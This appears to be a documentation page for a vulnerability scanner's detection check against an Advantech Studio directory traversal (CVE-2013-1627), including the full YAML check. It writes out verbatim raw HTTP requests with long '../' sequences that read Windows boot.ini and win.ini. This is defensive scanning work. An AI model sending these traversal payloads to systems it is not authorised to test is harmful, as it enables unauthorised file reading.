Advantech — 1 vulnerability check
noctis ships 1 vulnerability check for Advantech, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Advantech Studio 'NTWebServer.exe' Directory Traversal
| CVE | CVE-2013-1627 |
|---|---|
| Severity | high · CVSS 7.8 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/advantech/CVE-2013-1627.yaml |
Tests Advantech Studio NTWebServer for an unauthenticated directory traversal. After confirming the Advantech product marker on /startup.html, a crafted `../`-sequence request reads a Windows system file (boot.ini / win.ini); the leaked file content confirms the vulnerability (CVE-2013-1627).
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /startup.html HTTP/1.0 - Checks
startup_resp.bannerforAdvantech - Raw TCP (TLS on HTTPS), sent verbatim:
GET ../../../../../../../../../../../../../../../../../../boot.ini HTTP/1.0 - Checks
bootini_resp.bannerfor(?s)^HTTP/1\.[01] 200.*\[boot loader\]→ finding QoD 75: Advantech Studio NTWebServer Directory Traversal (CVE-2013-1627) - Raw TCP (TLS on HTTPS), sent verbatim:
GET ../../../../../../../../../../../../../../../../../../windows/win.ini HTTP/1.0 - Checks
winini_resp.bannerfor(?si)^HTTP/1\.[01] 200.*; for 16-bit app support→ finding QoD 75: Advantech Studio NTWebServer Directory Traversal (CVE-2013-1627) - Raw TCP (TLS on HTTPS), sent verbatim:
GET ../../../../../../../../../../../../../../../../../../winnt/win.ini HTTP/1.0 - Checks
winntini_resp.bannerfor(?si)^HTTP/1\.[01] 200.*; for 16-bit app support→ finding QoD 75: Advantech Studio NTWebServer Directory Traversal (CVE-2013-1627)
References:
Feed source — tests/vulnerabilities/advantech/CVE-2013-1627.yaml
# Advantech Studio 'NTWebServer.exe' Directory Traversal — CVE-2013-1627
#
# Advantech Studio 7.0 (NTWebServer.exe) fails to sanitise the request path,
# letting an unauthenticated attacker traverse out of the web root with a
# `../` sequence and read arbitrary files on the Windows host.
#
# Detection mirrors the source NASL:
# 1. GET /startup.html and confirm the "Advantech" product marker (gate only
# — product presence is a precondition, never a finding on its own).
# 2. Request `(../ × 18) + <windows file>` verbatim and confirm the leaked
# file content. The NASL loops traversal_files("windows"):
# boot.ini → "[boot loader]"
# winnt/win.ini → "; for 16-bit app support"
# windows/win.ini → "; for 16-bit app support"
# Only a leaked-file match raises a finding (QoD 75, response analysis).
#
# The payload is a literal `../` sequence, so the request is sent verbatim over
# HTTP/1.0 via tcp_connect (reqwest would collapse the `../` before sending) and
# matched on resp.banner.
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_advantech_NTWebServer_56871.nasl
# (GPL-2.0-only). Request path and match patterns taken from that plugin and
# traversal_func.inc.
uid: eb290849-6720-4216-9d10-57f9e885e589
name: "Advantech Studio 'NTWebServer.exe' Directory Traversal (CVE-2013-1627)"
description: |
Tests Advantech Studio NTWebServer for an unauthenticated directory traversal.
After confirming the Advantech product marker on /startup.html, a crafted
`../`-sequence request reads a Windows system file (boot.ini / win.ini); the
leaked file content confirms the vulnerability (CVE-2013-1627).
cves: [CVE-2013-1627]
cvss: 7.8
severity: high
category: file-read
confidence_base: 0.30
tags: [advantech, advantech-studio, ntwebserver, path-traversal, lfi, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-1627"
- "http://www.securityfocus.com/bid/56871"
# OpenVAS/Greenbone NASL 2013/gb_advantech_NTWebServer_56871.nasl (GPL-2.0-only)
steps:
# Initialise condition vars (an undefined var in a condition throws and the
# step is silently skipped).
- id: init-advantech
action: set_var
var_name: advantech_confirmed
var_value: false
- id: init-traversal
action: set_var
var_name: traversal_confirmed
var_value: false
# ── Gate: the service identifies as Advantech Studio ────────────────────
- id: startup-probe
action: tcp_connect
port: "{{port}}"
send: "GET /startup.html HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: startup_resp
- id: startup-match
action: match
source: startup_resp.banner
pattern: "Advantech"
on_match:
set_vars:
advantech_confirmed: true
# ── Traversal 1: boot.ini (primary) ─────────────────────────────────────
# Verbatim "../" × 18 prefix, exactly as the NASL's crap(data:"../", length:54).
- id: traversal-bootini
action: tcp_connect
port: "{{port}}"
send: "GET ../../../../../../../../../../../../../../../../../../boot.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: bootini_resp
condition: "advantech_confirmed == true"
- id: traversal-bootini-match
action: match
source: bootini_resp.banner
# Require HTTP 200 AND the leaked boot.ini content (NASL pattern "[boot loader]").
pattern: "(?s)^HTTP/1\\.[01] 200.*\\[boot loader\\]"
condition: "advantech_confirmed == true"
on_match:
finding:
title: "Advantech Studio NTWebServer Directory Traversal (CVE-2013-1627)"
description: "A crafted ../-sequence request to NTWebServer returned HTTP 200 and leaked the Windows boot.ini file, confirming the unauthenticated directory traversal affecting Advantech Studio."
remediation: "Apply the vendor hotfix for Advantech Studio (contact the vendor)."
confidence_delta: 0.55
qod: 75
evidence: "Traversal via ../boot.ini leaked Windows system file: {{bootini_resp.banner}}"
set_vars:
traversal_confirmed: true
stop: true
# ── Traversal 2: windows/win.ini (fallback) ─────────────────────────────
- id: traversal-winini
action: tcp_connect
port: "{{port}}"
send: "GET ../../../../../../../../../../../../../../../../../../windows/win.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: winini_resp
condition: "advantech_confirmed == true && traversal_confirmed != true"
- id: traversal-winini-match
action: match
source: winini_resp.banner
pattern: "(?si)^HTTP/1\\.[01] 200.*; for 16-bit app support"
condition: "advantech_confirmed == true && traversal_confirmed != true"
on_match:
finding:
title: "Advantech Studio NTWebServer Directory Traversal (CVE-2013-1627)"
description: "A crafted ../-sequence request to NTWebServer returned HTTP 200 and leaked the Windows win.ini file, confirming the unauthenticated directory traversal affecting Advantech Studio."
remediation: "Apply the vendor hotfix for Advantech Studio (contact the vendor)."
confidence_delta: 0.55
qod: 75
evidence: "Traversal via ../windows/win.ini leaked Windows system file: {{winini_resp.banner}}"
set_vars:
traversal_confirmed: true
stop: true
# ── Traversal 3: winnt/win.ini (legacy NT fallback) ─────────────────────
- id: traversal-winntini
action: tcp_connect
port: "{{port}}"
send: "GET ../../../../../../../../../../../../../../../../../../winnt/win.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: winntini_resp
condition: "advantech_confirmed == true && traversal_confirmed != true"
- id: traversal-winntini-match
action: match
source: winntini_resp.banner
pattern: "(?si)^HTTP/1\\.[01] 200.*; for 16-bit app support"
condition: "advantech_confirmed == true && traversal_confirmed != true"
on_match:
finding:
title: "Advantech Studio NTWebServer Directory Traversal (CVE-2013-1627)"
description: "A crafted ../-sequence request to NTWebServer returned HTTP 200 and leaked the Windows winnt/win.ini file, confirming the unauthenticated directory traversal affecting Advantech Studio."
remediation: "Apply the vendor hotfix for Advantech Studio (contact the vendor)."
confidence_delta: 0.55
qod: 75
evidence: "Traversal via ../winnt/win.ini leaked Windows system file: {{winntini_resp.banner}}"
stop: true